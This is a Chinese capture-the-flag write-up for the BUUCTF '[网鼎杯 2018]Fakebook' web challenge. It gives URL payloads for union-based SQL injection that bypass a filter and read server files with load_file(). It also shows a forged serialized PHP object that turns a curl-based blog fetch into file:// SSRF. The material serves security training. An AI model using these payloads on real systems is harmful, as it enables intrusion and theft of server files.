BUUCTF——[网鼎杯 2018]Fakebook

文章目录

  • 利用点
  • 解题
    • 解一——SQL注入
    • 解二——SQL注入+反序列化+SSRF

利用点

  • SQL联合注入
  • SSRF file伪协议读取文件
  • 反序列化unserialize()

解题

解一——SQL注入

打开环境,没有任何提示,先试试基础功能,注册一个号,回到主页可以点进去看记录

BUUCTF——[网鼎杯 2018]Fakebook_第1张图片
BUUCTF——[网鼎杯 2018]Fakebook_第2张图片
发现URL是拼接上序号的,试试SQL注入,发现是整型注入

?no=1%23

BUUCTF——[网鼎杯 2018]Fakebook_第3张图片
总共有四个参数

?no=1 order by 4%23

BUUCTF——[网鼎杯 2018]Fakebook_第4张图片
看看回显点,这里有过滤,过滤了union select绕过只用多敲一个空格就行,回显点在第二个

?no=0 union  select 1,2,3,4%23

BUUCTF——[网鼎杯 2018]Fakebook_第5张图片
发现并没有过滤load_file

?no=0 union  select 1,load_file('/var/www/html/index.php'),3,4%23

BUUCTF——[网鼎杯 2018]Fakebook_第6张图片
读一下flag.php,注释里面拿到flag

?no=0 union  select 1,load_file('/var/www/html/flag.php'),3,4%23

BUUCTF——[网鼎杯 2018]Fakebook_第7张图片

解二——SQL注入+反序列化+SSRF

在测试回显的时候,网页抛出错误了,是反序列化函数

?no=0 union  select 1,2,3,4%23

BUUCTF——[网鼎杯 2018]Fakebook_第8张图片
查一下表名、列名

?no=0/**/unIon/**/seLect/**/1,group_concat(column_name,'@'),3,4/**/from/**/information_schema.columns/**/where/**/table_name='users'%23

no@,username@,passwd@,data@,USER@,CURRENT_CONNECTIONS@,TOTAL_CONNECTIONS@

似乎age和blog是序列化存在data字段的,读取出来然后反序列化,查一下data

?no=0 union  select 1,data,3,4 from fakebook.users limit 0,1%23

O:8:"UserInfo":3:{
     s:4:"name";s:5:"admin";s:3:"age";i:1;s:4:"blog";s:19:"http://www.test.com";}

果然是这样的,那么应该有反序列化漏洞

又听说robots.txt有hint,发现网页的备份

BUUCTF——[网鼎杯 2018]Fakebook_第9张图片
看一下源码:




class UserInfo
{
     
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
     
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
     
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
     
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
     
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
     
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

发现可以用curl进行SSRF

至此可以确认,php应该是这样的流程:

  1. 从数据库读取data
  2. 对data反序列化
  3. 获取blog的URL值
  4. 传入get函数

这里对URL没有过滤,可控,尝试file伪协议SSRF读取flag.php

将传入的第四个参数换成反序列化串

?no=0 union  select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'%23

源码发现base64

BUUCTF——[网鼎杯 2018]Fakebook_第10张图片

PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tlMTdhZTczMy1hMDJlLTQzYWQtOWFjOS03NzUzNDYwMGU1ZTh9IjsNCmV4aXQoMCk7DQo=

解码得到flag



$flag = "flag{e17ae733-a02e-43ad-9ac9-77534600e5e8}";
exit(0);

你可能感兴趣的:(#,CTF-Web,php,web安全,BUUCTF,SSRF,sql注入)